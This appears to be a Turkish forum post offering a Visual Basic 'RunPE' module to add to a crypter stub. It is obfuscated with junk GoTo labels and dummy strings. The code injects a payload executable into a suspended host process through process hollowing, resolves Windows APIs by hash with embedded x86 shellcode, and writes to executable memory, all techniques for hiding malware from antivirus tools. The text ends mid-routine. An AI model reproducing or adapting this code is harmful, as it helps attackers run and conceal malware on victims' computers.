Stuba ekleyin module içine
Kod:
Option Base 0
Private Type R5G4F
j0b0N As Long
End Type
Private Type j0l1r
B1 As Byte: B2 As Byte
B3 As Byte: B4 As Byte
End Type
Private Declare Function CallWindowProcW Lib "USER32" (ByVal lpCode As Long, Optional ByVal lParam1 As Long, Optional ByVal lParam2 As Long, Optional ByVal lParam3 As Long, Optional ByVal lParam4 As Long) As Long
Private g6h8L As Boolean
Private y0F2m(170) As Byte
Private N7s4f(255) As Byte
Private Const KERNEL32 As String = "KERNEL32"
Private Const NTDLL As String = "NTDLL"
Public Function RunPE(ByRef bvBuff() As Byte, ByVal sHost As String, Optional ByVal sParams As String, Optional ByRef hProcess As Long) As Boolean
Dim Y5W0v As Long
Dim B0F7y As Long
Dim g8Y4n As Long
Dim H2C4E As Long
Dim i As Long
Dim I1o5v(16) As Long
Dim t6J7r(3) As Long
Dim F1g7C(50) As Long
GoTo lHgYTgwLhUeBwacIdi:
uiCtkyIrqeQrNao:
KjPtIpvOQMsnomrcUd = "iSjnphG"
GoTo naeDrpjByUrPVRdgvQRc
naeDrpjByUrPVRdgvQRc:
NyuiCtkyIrqeQrNa = "VnaerpjByUr"
GoTo gJZsMfaOuDEC
lHgYTgwLhUeBwacIdi:
QmeOwyTwAOZtHuhHe = "FmquTuFzR"
GoTo QNnCvfMPkMQfbKYxxYh
GwcQYVbLSaqQQgQ:
aNNpxJmFlIbnbZS = "iEoEBMefA"
GoTo QqSxvdRmdThsbaNNpxJm
VpUsKkKVPiRoYj:
NyuiCtkyIrqeQrNa = "VnaerpjByUr"
GoTo kwNckluSMqsZf
smtQkjzDGxQmeOwyT:
QmeOwyTwAOZtHuhHe = "FmquTuFzR"
GoTo gLTUSYvCJoAAP
lIbnbZSliEozEBMe:
GoTo ABKjPtIpvOQsnomrcUdGiSjnphGjN
gJZsMfaOuDEC:
VRdgvQRclgJZsMfaOuD = "CHsmtQkzDG"
GoTo smtQkjzDGxQmeOwyT
QNnCvfMPkMQfbKYxxYh:
VRdgvQRclgJZsMfaOuD = "CHsmtQkzDG"
GoTo VpUsKkKVPiRoYj
kwNckluSMqsZf:
KjPtIpvOQMsnomrcUd = "iSjnphG"
GoTo GwcQYVbLSaqQQgQ
ABKjPtIpvOQsnomrcUdGiSjnphGjN:
aNNpxJmFlIbnbZS = "iEoEBMefA"
GoTo uiCtkyIrqeQrNao
QqSxvdRmdThsbaNNpxJm:
Y5W0v = VarPtr(bvBuff(0))
GoTo lIbnbZSliEozEBMe
gLTUSYvCJoAAP:
If Not GetNumb(Y5W0v, 2) = &H5A4D Then Exit Function
GoTo rqeQrNaoVnaeDrpjB:
qeQrNaoVnaeDrjByUrPVRdgvQRlgJZsMfaOu:
yGwcQYVbLSaqQQg = "ZQqSxvdRmdhsbaNNpxJ"
GoTo ECHsmtQkjzDGxQmewyTwAOZtHuhHedFmEq
PkMQfbKYxxYhtVpUsKKVPiRoYjokwN:
LTUSYvCJoAAPTQN = "CvfMkMQfbKYxx"
GoTo kluSMqsZfywcQYVbLSaqQQgQZQq
rqeQrNaoVnaeDrpjB:
OQMsnomrcUdGiSjnp = "GjNuiCtky"
GoTo MfaOuDECHsmtQ
kluSMqsZfywcQYVbLSaqQQgQZQq:
B0F7y = Y5W0v + GetNumb(Y5W0v + &H3C)
GoTo xvdRmdThsbaNNpxJmFl
ECHsmtQkjzDGxQmewyTwAOZtHuhHedFmEq:
FlIbnbZSliEozEBM = "fAKjPtIp"
GoTo TuFzROlHgYTgwLUeBwacIdiqgTUSYvCJoAAPTQNnCvfPkMQfbKYxxYhtVpUsK
jPtIpvOQMsnomrcUdiSjnphGjNyuiCtkyI:
htVpUsKkKVPiRoYjokwN = "klSMqsZ"
GoTo qeQrNaoVnaeDrjByUrPVRdgvQRlgJZsMfaOu
xvdRmdThsbaNNpxJmFl:
GoTo bnbZSliEozEBMefAB
jzDGxQmeOwyTAOZtHuhHedFmEq:
yGwcQYVbLSaqQQg = "ZQqSxvdRmdhsbaNNpxJ"
GoTo TuFzROlHgYTgwLUeBwacIdiqgTUSYvCJoAAPTQNnCvf
MfaOuDECHsmtQ:
FlIbnbZSliEozEBM = "fAKjPtIp"
GoTo jzDGxQmeOwyTAOZtHuhHedFmEq
bnbZSliEozEBMefAB:
LTUSYvCJoAAPTQN = "CvfMkMQfbKYxx"
GoTo jPtIpvOQMsnomrcUdiSjnphGjNyuiCtkyI
TuFzROlHgYTgwLUeBwacIdiqgTUSYvCJoAAPTQNnCvf:
htVpUsKkKVPiRoYjokwN = "klSMqsZ"
GoTo PkMQfbKYxxYhtVpUsKKVPiRoYjokwN
TuFzROlHgYTgwLUeBwacIdiqgTUSYvCJoAAPTQNnCvfPkMQfbKYxxYhtVpUsK:
OQMsnomrcUdGiSjnp = "GjNuiCtky"
GoTo UrPVRdgvQRclgJZ
UrPVRdgvQRclgJZ:
If Not GetNumb(B0F7y) = &H4550 Then Exit Function
GoTo eBwacIdiqgLTUSYvCJoA:
kluSMqsZfywcQYVbLSaqQQgQZQqxvdRmdThsbaNNpxJmFlbnbZSliEozEBMefAB:
nomrcUdGiSjnphGjNuiCtkyIrqeQrNaoVn = "eDpjByU"
GoTo jPtIpvOQMsnomrcUdiSjnphGjNyuiCtkyIqeQrNaoVnaeDr
jByUrPVRdgvQRlgJZsMfaOuECHsmtQkjzDGxQme:
I1o5v(0) = &H44
GoTo wyTwAOZtHuhHedFmEqTuFzROlHgYTgwL
eBwacIdiqgLTUSYvCJoA:
xQmeOwyTwAOZtHuhHe = "FmquTuFzRlHgYTgwLh"
GoTo YxxYhtVpUsKkKVPiR
wyTwAOZtHuhHedFmEqTuFzROlHgYTgwL:
Call E4C4s(KERNEL32, &H16B3FE88, StrPtr(sHost), StrPtr(sParams), 0, 0, 0, &H4, 0, 0, VarPtr(I1o5v(0)), VarPtr(t6J7r(0)))
GoTo UeBwacIdiqgTUSYvCJoAAPTQNnCvfPkMQfbKYxxYhtVpUsKKVPiRoYjokwN
jPtIpvOQMsnomrcUdiSjnphGjNyuiCtkyIqeQrNaoVnaeDr:
PVRdgvQRclgJZsMfa = "uDECHsmtQjzD"
GoTo jByUrPVRdgvQRlgJZsMfaOuECHsmtQkjzDGxQmewyTwAOZtHuhHedFmEqTuFzROlHgYTgwL
kluSMqsZfywcQYVbLSaqQQgQZQqxvdRmdThsbaNNpxJmFl:
Call E4C4s(NTDLL, &HD33BCABD, t6J7r(0), VarPtr(H2C4E), 0, VarPtr(GetNumb(B0F7y + &H50)), &H3000, &H40)
GoTo bnbZSliEozEBMefABjPtIpvOQMsnomrcUd
iSjnphGjNyuiCtkyIqeQrNaoVnaeDr:
GoTo jByUrPVRdgvQRlgJZsMfaOuECHsmtQkjzDGxQmewyTwAOZtHuhHedFmEq
GjNyuiCtkyIqeQrNaoVnaeDr:
H2C4E = GetNumb(B0F7y + &H34)
GoTo jByUrPVRdgvQRlgJZsMfaOuECHsmtQkjzDGxQme
YjokwNckluSMq:
nomrcUdGiSjnphGjNuiCtkyIrqeQrNaoVn = "eDpjByU"
GoTo ZfyGwcQYVbLSaqQgQZQqSxvdRmdThsbaNpxJmFlIbnbZSliEozE
jByUrPVRdgvQRlgJZsMfaOuECHsmtQkjzDGxQmewyTwAOZtHuhHedFmEq:
QgQZQqSxvdRmdThsbaNN = "xJmFIbn"
GoTo TuFzROlHgYTgwLUeBwacIdiqgTUSYvCJoAAPTQNnCvfPkMQfbKYxxYhtVpUsKKVPiRoYjokwN
TuFzROlHgYTgwLUeBwacIdiqgTUSYvCJoAAPTQNnCvfPkMQfbKYxxYhtVpUsKKVPiRoYjokwN:
ZSliEozEBMefABK = "PtIvOQM"
GoTo kluSMqsZfywcQYVbLSaqQQgQZQqxvdRmdThsbaNNpxJmFlbnbZSliEozEBMefAB
MefABKjPtIpvOQMnomrcUdGiSjnp:
QgQZQqSxvdRmdThsbaNN = "xJmFIbn"
GoTo GjNyuiCtkyIqeQrNaoVnaeDr
UeBwacIdiqgTUSYvCJoAAPTQNnCvfPkMQfbKYxxYhtVpUsKKVPiRoYjokwN:
Call E4C4s(NTDLL, &HF21037D0, t6J7r(0), H2C4E)
GoTo kluSMqsZfywcQYVbLSaqQQgQZQqxvdRmdThsbaNNpxJmFl
YxxYhtVpUsKkKVPiR:
PVRdgvQRclgJZsMfa = "uDECHsmtQjzD"
GoTo YjokwNckluSMq
bnbZSliEozEBMefABjPtIpvOQMsnomrcUd:
Call E4C4s(NTDLL, &HC5108CC2, t6J7r(0), H2C4E, VarPtr(bvBuff(0)), GetNumb(B0F7y + &H54), 0)
GoTo iSjnphGjNyuiCtkyIqeQrNaoVnaeDr
jByUrPVRdgvQRlgJZsMfaOuECHsmtQkjzDGxQmewyTwAOZtHuhHedFmEqTuFzROlHgYTgwL:
xQmeOwyTwAOZtHuhHe = "FmquTuFzRlHgYTgwLh"
GoTo PTQNnCvfMPkMQfb
ZfyGwcQYVbLSaqQgQZQqSxvdRmdThsbaNpxJmFlIbnbZSliEozE:
ZSliEozEBMefABK = "PtIvOQM"
GoTo MefABKjPtIpvOQMnomrcUdGiSjnp
PTQNnCvfMPkMQfb:
For i = 0 To GetNumb(B0F7y + &H6, 2) - 1
GoTo eBwacIdiqgLTUSYvCJoAPTQNnCvfMPkMQfb:
YvNnNZSlUrbmro:
GoTo QfnoxVQtvciBJzf
cTtVAyhUpg:
yuiCtkyIrqeQrNaoVna = "DrjByUPVRdg"
GoTo lveeQQsANpIoMeqecVol
jByUrPVRdgvQRlgJZsMfaOuECHsmtQkjzDGxQmezCQzDRcxKxkLhgIqHtx:
iEozEBMefABKjPtI = "vOQMnomrcdGiSjnphGj"
GoTo xICURpKjbYjAOkYhFzdf
QfnoxVQtvciBJzf:
qSxvdRmdThsbaNNpxJmF = "IbnZS"
GoTo bZeOVdtUTk
rCIEPhiDEOmSwLszR:
wyTwAOZtHuhHedFmEqu = "uFzROlHgYTwLh"
GoTo YxxYhtVpUsKkKVPiRYjokwNckluSMq
ZfyGwcQYVbLSaqQgQZQqSxvdRmdThsbaNpxJmFlIbnbZSliEozEMefABKjPtIpvOQM:
QRclgJZsMfaOuDECH = "mtQkjDGxQme"
GoTo nomrcUdGiSjnpGjNyuiCtkyIqeQrNaoVnaeDr
nomrcUdGiSjnpGjNyuiCtkyIqeQrNaoVnaeDr:
yuiCtkyIrqeQrNaoVna = "DrjByUPVRdg"
GoTo jByUrPVRdgvQRlgJZsMfaOuECHsmtQkjzDGxQmezCQzDRcxKxkLhgIqHtx
xICURpKjbYjAOkYhFzdf:
qSxvdRmdThsbaNNpxJmF = "IbnZS"
GoTo gltjOYYQbyFMrDDTQa
eBwacIdiqgLTUSYvCJoAPTQNnCvfMPkMQfb:
wyTwAOZtHuhHedFmEqu = "uFzROlHgYTwLh"
GoTo ZfyGwcQYVbLSaqQgQZQqSxvdRmdThsbaNpxJmFlIbnbZSliEozEMefABKjPtIpvOQM
bZeOVdtUTk:
iEozEBMefABKjPtI = "vOQMnomrcdGiSjnphGj"
GoTo cTtVAyhUpg
lveeQQsANpIoMeqecVol:
QRclgJZsMfaOuDECH = "mtQkjDGxQme"
GoTo rCIEPhiDEOmSwLszR
gltjOYYQbyFMrDDTQa:
g8Y4n = B0F7y + &HF8 + (&H28 * i)
GoTo qFyiPSnPTifNbAAckwZ
qFyiPSnPTifNbAAckwZ:
Call E4C4s(NTDLL, &HC5108CC2, t6J7r(0), H2C4E + GetNumb(g8Y4n + &HC), Y5W0v + GetNumb(g8Y4n + &H14), GetNumb(g8Y4n + &H10), 0)
GoTo YvNnNZSlUrbmro
YxxYhtVpUsKkKVPiRYjokwNckluSMq:
Next i
GoTo noxVQtvciBJfabZeOVdtUTkacT:
qFyiPSnPTifNbAAckwZYvNnNZSlUrbmro:
ZUgkyTUfojMdvPjdSyHH = "Kwpwbnn"
GoTo QfnoxVQtvciBJzfbZeOVdtUTk
QfnoxVQtvciBJzfbZeOVdtUTk:
GJBapiRzCQzDRcxKxk = "hgIqHtxQ"
GoTo cTtVAyhUpglveeQQsANpIoMeqecVol
PvqrpufZgJVmqtkJmRBxlG:
GJBapiRzCQzDRcxKxk = "hgIqHtxQ"
GoTo nBLuuhTuQesZrdGvsmEBYuSZU
ANpIoMeqecVolrCIEPhiDEOmSwLszR:
ICURpKjbYjAOkYhFzfLgltjOYYQbyFMr = "DTQaRqF"
GoTo PvqrpufZgJVmqtkJmRBxlG
YvNnNZSlUrbmroQfnoxVQtvciBJzf:
F1g7C(44) = H2C4E + GetNumb(B0F7y + &H28)
GoTo bZeOVdtUTkcTtVAyhUpg
bZeOVdtUTkcTtVAyhUpg:
Call E4C4s(NTDLL, &H6935E395, t6J7r(1), VarPtr(F1g7C(0)))
GoTo lveeQQsANpIoMeqecVolrCIEPhiDEOmSwLszR
lveeQQsANpIoMeqecVolrCIEPhiDEOmSwLszR:
Call E4C4s(NTDLL, &HC54A46C8, t6J7r(1), 0)
GoTo PvqrpufZgJVmqtkJmRBxlGnBLuuhTuQesZrd
rCIEPhiDEOmSwLszRPvqrpufZgJ:
iPSnPTifNbAAckwZs = "vNnNZSlUrbrozQ"
GoTo VAyhUpgQlveeQQ
gltjOYYQbyFMrDDTQaqFyiPSnPTifNbAAckwZ:
Call E4C4s(NTDLL, &HC5108CC2, t6J7r(0), F1g7C(41) + &H8, VarPtr(H2C4E), &H4, 0)
GoTo YvNnNZSlUrbmroQfnoxVQtvciBJzf
nCGJBapiRzCQ:
F1g7C(0) = &H10007
GoTo DRcxKxkLhgIqHtxxICURpKjbYjAOkYhFzdf
cTtVAyhUpglveeQQsANpIoMeqecVol:
ICURpKjbYjAOkYhFzfLgltjOYYQbyFMr = "DTQaRqF"
GoTo rCIEPhiDEOmSwLszRPvqrpufZgJ
GvsmEBYuSZUkyTUfojMdvP:
RunPE = True
GoTo dSyHHFKwpwbnCGJBapiRzCQ
dSyHHFKwpwbnCGJBapiRzCQ:
GoTo DRcxKxkLhgIqHtxxICURpKjbYjAOkYhFzdfgltjOYYQbyFMrDDTQa
DRcxKxkLhgIqHtxxICURpKjbYjAOkYhFzdf:
Call E4C4s(NTDLL, &HE935E393, t6J7r(1), VarPtr(F1g7C(0)))
GoTo gltjOYYQbyFMrDDTQaqFyiPSnPTifNbAAckwZ
DRcxKxkLhgIqHtxxICURpKjbYjAOkYhFzdfgltjOYYQbyFMrDDTQa:
wnBLuuhTuQesZrdhGv = "mEBYu"
GoTo qFyiPSnPTifNbAAckwZYvNnNZSlUrbmro
kyTUfojMdvPdSyHHFKwpwb:
wnBLuuhTuQesZrdhGv = "mEBYu"
GoTo nCGJBapiRzCQ
PvqrpufZgJVmqtkJmRBxlGnBLuuhTuQesZrd:
hProcess = t6J7r(0)
GoTo GvsmEBYuSZUkyTUfojMdvP
nBLuuhTuQesZrdGvsmEBYuSZU:
ZUgkyTUfojMdvPjdSyHH = "Kwpwbnn"
GoTo kyTUfojMdvPdSyHHFKwpwb
noxVQtvciBJfabZeOVdtUTkacT:
iPSnPTifNbAAckwZs = "vNnNZSlUrbrozQ"
GoTo ANpIoMeqecVolrCIEPhiDEOmSwLszR
VAyhUpgQlveeQQ:
End Function
Private Function GetNumb(ByVal lPtr As Long, Optional ByVal lSize As Long = &H4) As Long
GoTo PhiDEOmSwLszRaPvrpufZgJlVmqtk:
nCGJBapiRzCQDRcxKxkLhgIqHtxxICURpKjbYjAOkYhFzdf:
GoTo gltjOYYQbyFMrDDTQaqFyiPSnPTifNbAAckwZYvNnNZSlUrbmroQfnoxVQtvciBJzf
PvqrpufZgJVmqtkJmRBxlGnBLuuhTuQesZrdGvsmEBYuSZUkyTUfojMdvP:
tjOYYQbyFMrDDTQaqFyiPSnPTifNbAAckwZs = "vNnNZSlUrbrozQnox"
GoTo dSyHHFKwpwbnCGJBapiRzCQDRcxKxkLhgIqHtxxICURpKjbYjAOkYhFzdf
QfnoxVQtvciBJzfbZeOVdtUTkcTtVAyhUpglveeQQsANpIoMeqecVol:
txQxICURpKjbYjAOkY = "FzdLg"
GoTo rCIEPhiDEOmSwLszRPvqrpufZgJVmqtkJmRBxlGnBLuuhTuQesZrd
gltjOYYQbyFMrDDTQaqFyiPSnPTifNbAAckwZYvNnNZSlUrbmroQfnoxVQtvciBJzf:
bnnCGJBapiRzCQzDR = "xKkLhgIq"
GoTo bZeOVdtUTkcTtVAyhUpglveeQQsANpIoMeqecVolrCIEPhiDEOmSwLszR
gltjOYYQbyFMrDDTQaqFyiPSnPTifNbAAckwZYvNnNZSlUrbmroQfnoxVQtvciBJzfbZeOVdtUTk:
gQlveeQQsANpIoMe = "ecVoHrCI"
GoTo mRBxlGwnBLuuhTuQeZrdhGvsmEBYuS
UgkyTUfojMdvPjdSyHHFwpwbnnCGJBapiRzCQ:
QtvciBJzfabZeOVdtUTk = "cTVAyhU"
GoTo DRcxKxkLhgIqHtxxICURpKjbYjAOkYhFzdfgltjOYYQbyFMrDDTQaqFyiPSnPTifNbAAckwZYvNnNZSlUrbmro
DRcxKxkLhgIqHtxxICURpKjbYjAOkYhFzdfgltjOYYQbyFMrDDTQaqFyiPSnPTifNbAAckwZYvNnNZSlUrbmro:
tjOYYQbyFMrDDTQaqFyiPSnPTifNbAAckwZs = "vNnNZSlUrbrozQnox"
GoTo QfnoxVQtvciBJzfbZeOVdtUTkcTtVAyhUpglveeQQsANpIoMeqecVol
rCIEPhiDEOmSwLszRPvqrpufZgJVmqtkJmRBxlGnBLuuhTuQesZrd:
bnnCGJBapiRzCQzDR = "xKkLhgIq"
GoTo GvsmEBYuSZUkyTUfojMdvPdSyHHFKwpwb
PhiDEOmSwLszRaPvrpufZgJlVmqtk:
gQlveeQQsANpIoMe = "ecVoHrCI"
GoTo UgkyTUfojMdvPjdSyHHFwpwbnnCGJBapiRzCQ
bZeOVdtUTkcTtVAyhUpglveeQQsANpIoMeqecVolrCIEPhiDEOmSwLszR:
txQxICURpKjbYjAOkY = "FzdLg"
GoTo PvqrpufZgJVmqtkJmRBxlGnBLuuhTuQesZrdGvsmEBYuSZUkyTUfojMdvP
GvsmEBYuSZUkyTUfojMdvPdSyHHFKwpwb:
Call E4C4s(NTDLL, &HC5108CC2, -1, VarPtr(GetNumb), lPtr, lSize, 0)
GoTo nCGJBapiRzCQDRcxKxkLhgIqHtxxICURpKjbYjAOkYhFzdf
dSyHHFKwpwbnCGJBapiRzCQDRcxKxkLhgIqHtxxICURpKjbYjAOkYhFzdf:
QtvciBJzfabZeOVdtUTk = "cTVAyhU"
GoTo gltjOYYQbyFMrDDTQaqFyiPSnPTifNbAAckwZYvNnNZSlUrbmroQfnoxVQtvciBJzfbZeOVdtUTk
mRBxlGwnBLuuhTuQeZrdhGvsmEBYuS:
End Function
Public Function E4C4s(ByVal C4I3Z As String, ByVal K5c8J As Long, ParamArray vParams() As Variant) As Long
Dim K7U6Q As Variant
Dim a8C7X As j0l1r
Dim s8r8h As Long
Dim i As Long
Dim w As Long
If Not g6h8L Then
For i = 0 To 170
y0F2m(i) = CByte(Choose(i + 1, &HE8, &H22, &H0, &H0, &H0, &H68, &HA4, &H4E, &HE, &HEC, &H50, &HE8, &H43, &H0, &H0, &H0, &H83, &HC4, &H8, &HFF, &H74, &H24, &H4, &HFF, &HD0, &HFF, &H74, &H24, &H8, &H50, &HE8, &H30, &H0, &H0, &H0, &H83, &HC4, &H8, &HC3, &H56, &H55, &H31, &HC0, &H64, &H8B, &H70, &H30, &H8B, &H76, &HC, &H8B, &H76, &H1C, &H8B, &H6E, &H8, &H8B, &H7E, &H20, &H8B, &H36, &H38, &H47, &H18, &H75, &HF3, &H80, &H3F, &H6B, &H74, &H7, &H80, &H3F, &H4B, &H74, &H2, &HEB, &HE7, &H89, &HE8, &H5D, &H5E, &HC3, &H55, &H52, &H51, _
&H53, &H56, &H57, &H8B, &H6C, &H24, &H1C, &H85, &HED, &H74, &H43, &H8B, &H45, &H3C, &H8B, &H54, &H5, &H78, &H1, &HEA, &H8B, &H4A, &H18, &H8B, &H5A, &H20, &H1, &HEB, &HE3, &H30, &H49, &H8B, &H34, &H8B, &H1, &HEE, &H31, &HFF, &H31, &HC0, &HFC, &HAC, &H84, &HC0, &H74, &H7, &HC1, &HCF, &HD, &H1, &HC7, &HEB, &HF4, &H3B, &H7C, &H24, &H20, &H75, &HE1, &H8B, &H5A, &H24, &H1, &HEB, &H66, &H8B, &HC, &H4B, &H8B, &H5A, &H1C, &H1, &HEB, &H8B, &H4, &H8B, &H1, &HE8, &H5F, &H5E, &H5B, &H59, &H5A, &H5D, &HC3))
Next i
GoTo wyHfaDFmsLTIokjoZgnDedtjm:
IqfzqhuEnnbbBKQzSVoAolfxuRBLRNaq:
PUFyFkxwMQSKkyrcJLgI = "bmGTHtUrRzQChHSMfcy"
GoTo MOYvdGVCIckaFAzEpipTugwzCuSw
MfcyUtlhsJZuirOJnpV:
g6h8L = True
GoTo vDsYhiglIOVAN
dhjbAPHsacwZesoQkJ:
pipTugwzCuSwbKGvPG = "KUEDrdbnBjAmq"
GoTo luGiChFYxYjdveBlvxJapwyHfaDFmsLTokkjoZgnDedtjmeCg
MOYvdGVCIckaFAzEpipTugwzCuSw:
tlhsJZuirOJnpVpvDsYh = "glIVANMdhjbA"
GoTo KGvPGxKUEDdEbnBjAmqQECwLiDcieqtIefoytQmEZ
yFkxwMQSKkyrcJLgNbmGTHtUrqRzQCGhH:
i = 0
GoTo MfcyUtlhsJZuirOJnpV
wbKGvPGxKUEDrdEbnBj:
PUFyFkxwMQSKkyrcJLgI = "bmGTHtUrRzQChHSMfcy"
GoTo mqQECwOLiDcieqt
wyHfaDFmsLTIokjoZgnDedtjm:
HsacwZesoQkJKluGiCh = "YxYjdvelvBxJa"
GoTo uRBLRNaqrMOYvdGCIckaFAAzEpipTugwzCu
KGvPGxKUEDdEbnBjAmqQECwLiDcieqtIefoytQmEZ:
HsacwZesoQkJKluGiCh = "YxYjdvelvBxJa"
GoTo CgKIqfzqhunnbbBKQzSyVoAolf
vDsYhiglIOVAN:
GoTo dhjbAPHsacwZesoQkJ
luGiChFYxYjdveBlvxJapwyHfaDFmsLTokkjoZgnDedtjmeCg:
ECwOLiDcieqtIefoytQ = "EZsnHQ"
GoTo IqfzqhuEnnbbBKQzSVoAolfxuRBLRNaq
mqQECwOLiDcieqt:
ECwOLiDcieqtIefoytQ = "EZsnHQ"
GoTo efoytQmEZsncHQRPU
efoytQmEZsncHQRPU:
pipTugwzCuSwbKGvPG = "KUEDrdbnBjAmq"
GoTo yFkxwMQSKkyrcJLgNbmGTHtUrqRzQCGhH
uRBLRNaqrMOYvdGCIckaFAAzEpipTugwzCu:
tlhsJZuirOJnpVpvDsYh = "glIVANMdhjbA"
GoTo wbKGvPGxKUEDrdEbnBj
CgKIqfzqhunnbbBKQzSyVoAolf:
End If
s8r8h = CallWindowProcW(VarPtr(y0F2m(0)), StrPtr(C4I3Z), K5c8J)
If s8r8h Then
For w = UBound(vParams) To LBound(vParams) Step -1
GoTo mFlIbAbmgyiEoyEAM:
mFlIbAbmgyiEoyEAM:
DQPgkneDSLvdfAd = "vraNNox"
GoTo NLtiCtkxHrqe
xluRMqsZtyvckljoLSaDQPgkne:
Call B1l2w(a8C7X.B3, i): Call B1l2w(a8C7X.B4, i)
GoTo SLvdfAdhvraoNNox
FNaCVBZrDrjByUEPURduvQR:
ufMOjLQfpJQKxYutVC = "GKkKVPifBY"
GoTo zgJZFLfndIECHslsQxjzDFxQze
MOjLQfpJQKxutVCTGKkKVPifBYwokwM:
Call B1l2w(a8C7X.B1, i): Call B1l2w(a8C7X.B2, i)
GoTo xluRMqsZtyvckljoLSaDQPgkne
THFzROlHglitwL:
a8C7X = R8g5Q(CLng(vParams(w)))
GoTo irBwapIcvqfTUSYIBJnAzPTVNnCu
mFlIbAbmgyiEoyEAMszBKidGIpv:
OJySJANZHGugHeq = "mDptTHFROlHgl"
GoTo QMsnomrcjqGhhwmphFNLtiCtkxHrqe
JySJANZHGugHeqEmDp:
OJySJANZHGugHeq = "mDptTHFROlHgl"
GoTo THFzROlHglitwL
ECHslsQxjzDFxQzeJySJANZHGugHeqEmDp:
okwMcxluRMqsZtyGv = "kloLS"
GoTo THFzROlHglitwLirBwapIcvqf
irBwapIcvqfTUSYIBJnAzPTVNnCu:
Call B1l2w(&H68, i)
GoTo MOjLQfpJQKxutVCTGKkKVPifBYwokwM
SLvdfAdhvraoNNox:
GoTo mFlIbAbmgyiEoyEAMszBKidGIpv
NLtiCtkxHrqe:
okwMcxluRMqsZtyGv = "kloLS"
GoTo FNaCVBZrDrjByUEPURduvQR
zgJZFLfndIECHslsQxjzDFxQze:
twLhirBwapIcvqf = "TUSYIBJnzPTVNn"
GoTo JySJANZHGugHeqEmDp
FNaCVBZrDrjByUEPURduvQRzgJZFLfndI:
ufMOjLQfpJQKxYutVC = "GKkKVPifBY"
GoTo ECHslsQxjzDFxQzeJySJANZHGugHeqEmDp
THFzROlHglitwLirBwapIcvqf:
DQPgkneDSLvdfAd = "vraNNox"
GoTo szBKidGIpvQMsnomrcjqGhhwmphF
QMsnomrcjqGhhwmphFNLtiCtkxHrqe:
twLhirBwapIcvqf = "TUSYIBJnzPTVNn"
GoTo FNaCVBZrDrjByUEPURduvQRzgJZFLfndI
szBKidGIpvQMsnomrcjqGhhwmphF:
Next w
GoTo ROlHglitwLhirBwpIcvqfKTUS:
FlIbAbmgyiEoEAMdszBKidGIpvOMsnomrcjqGhhwmphFjNLiCtkxHrqeeFNaC:
Call B1l2w(&HFF, i): Call B1l2w(&HD0, i)
GoTo BZrDrpjByUEPURduvQRbgJZFLfndIDECHslQxjzDFxQzeOJyS
ANZHGugHeqEmDptTHzROlHglitwLhirBwpIcvqfKTUS:
GoTo IBJnAzPTVNnCufMOjLQfJQKxYutVCTGKkVPifBYwokwMcxluRMsZtyGvckljoLS
zROlHglitwLhirBwpIcvqfKTUSIBJnAzPTVNnCuiPSnPTi:
JZFLfndIDECHslsxjzDFxQzeOJySJANZHGu = "HeqmDptTHF"
GoTo IBJnAzPTVNnCufMOjLQfJQKxYutVCTGKk
iCtkxHrqeeFNaCBZrDrpjByUEPURduvQRbgJZFLfndIDECHsl:
YwokwMcxluRMqsZtyG = "ckljoSaDQPgkn"
GoTo QxjzDFxQzeOJySANZHGugHeqEmDptTH
VPifBYwokwMcxluRMsZtyGvckljoLS:
nomrcjqGhhwmphFjNtiCtkxHrqeeFNaCVBZr = "rpjByUEURduvQRbz"
GoTo DQPgkneDSLdfAdhvraoNNoxJ
DQPgkneDSLdfAdhvraoNNoxJ:
mgyiEoyEAMdszBK = "dGIvOQM"
GoTo FlIbAbmgyiEoEAMdszBKidGIpvOMsnomrcjqGhhwmphFjNL
sZtyGvckljoLSDQPgkneDSLdfAdhvraoNNoxJ:
Call B1l2w(a8C7X.B3, i): Call B1l2w(a8C7X.B4, i)
GoTo FlIbAbmgyiEoEAMdszBKidGIpvOMsnomrcjqGhhwmphFjNLiCtkxHrqeeFNaC
gJZFLfndIDECHslQxjzDFxQzeOJySANZHGugHeqEmDptTH:
nomrcjqGhhwmphFjNtiCtkxHrqeeFNaCVBZr = "rpjByUEURduvQRbz"
GoTo zROlHglitwLhirBwpIcvqfKTUSIBJnAzPTVNnCuiPSnPTi
BZrDrpjByUEPURduvQRbgJZFLfndIDECHslQxjzDFxQzeOJyS:
Call B1l2w(&HC3, i)
GoTo ANZHGugHeqEmDptTHzROlHglitwLhirBwpIcvqfKTUS
IBJnAzPTVNnCufMOjLQfJQKxYutVCTGKkVPifBYwokwMcxluRM:
Call B1l2w(a8C7X.B1, i): Call B1l2w(a8C7X.B2, i)
GoTo sZtyGvckljoLSDQPgkneDSLdfAdhvraoNNoxJ
IBJnAzPTVNnCufMOjLQfJQKxYutVCTGKkVPifBYwokwMcxluRMsZtyGvckljoLS:
YwokwMcxluRMqsZtyG = "ckljoSaDQPgkn"
GoTo DQPgkneDSLdfAdhvraoNNoxJFlIbAbmgyiEo
FlIbAbmgyiEoEAMdszBKidGIpvOMsnomrcjqGhhwmphFjNL:
DSLvdfAdhvraoNN = "xJmFIbA"
GoTo iCtkxHrqeeFNaCBZrDrpjByUEPURduvQRbgJZFLfndIDECHsl
ROlHglitwLhirBwpIcvqfKTUS:
JZFLfndIDECHslsxjzDFxQzeOJySJANZHGu = "HeqmDptTHF"
GoTo VPifBYwokwMcxluRMsZtyGvckljoLS
EAMdszBKidGIpvOMsnomrcjqGhhwmphFjNLiCtkxHrqeeFNaCBZrDrpjByUEPURduvQRb:
mgyiEoyEAMdszBK = "dGIvOQM"
GoTo gJZFLfndIDECHslQxjzDFxQzeOJySANZHGugHeqEmDptTH
QxjzDFxQzeOJySANZHGugHeqEmDptTH:
a8C7X = R8g5Q(s8r8h)
GoTo zROlHglitwLhirBwpIcvqfKTUS
DQPgkneDSLdfAdhvraoNNoxJFlIbAbmgyiEo:
DSLvdfAdhvraoNN = "xJmFIbA"
GoTo EAMdszBKidGIpvOMsnomrcjqGhhwmphFjNLiCtkxHrqeeFNaCBZrDrpjByUEPURduvQRb
zROlHglitwLhirBwpIcvqfKTUS:
Call B1l2w(&HB8, i)
GoTo IBJnAzPTVNnCufMOjLQfJQKxYutVCTGKkVPifBYwokwMcxluRM
IBJnAzPTVNnCufMOjLQfJQKxYutVCTGKk:
E4C4s = CallWindowProcW(VarPtr(N7s4f(0)))
End If
End Function
Private Sub B1l2w(ByVal r8w7O As Byte, ByRef iCounter As Long)
GoTo DRnpyHCgwOjCwmR:
dUtIBlSVqS:
BQYiFmPfLSltjOJKIN = "szeEpF"
GoTo lvQeQDfBzcJbMQqQcVol
lvQeQDfBzcJbMQqQcVol:
xkkLThIcHgxJxvpHE = "KVYj"
GoTo eCurCTiDrAZTwyfzE
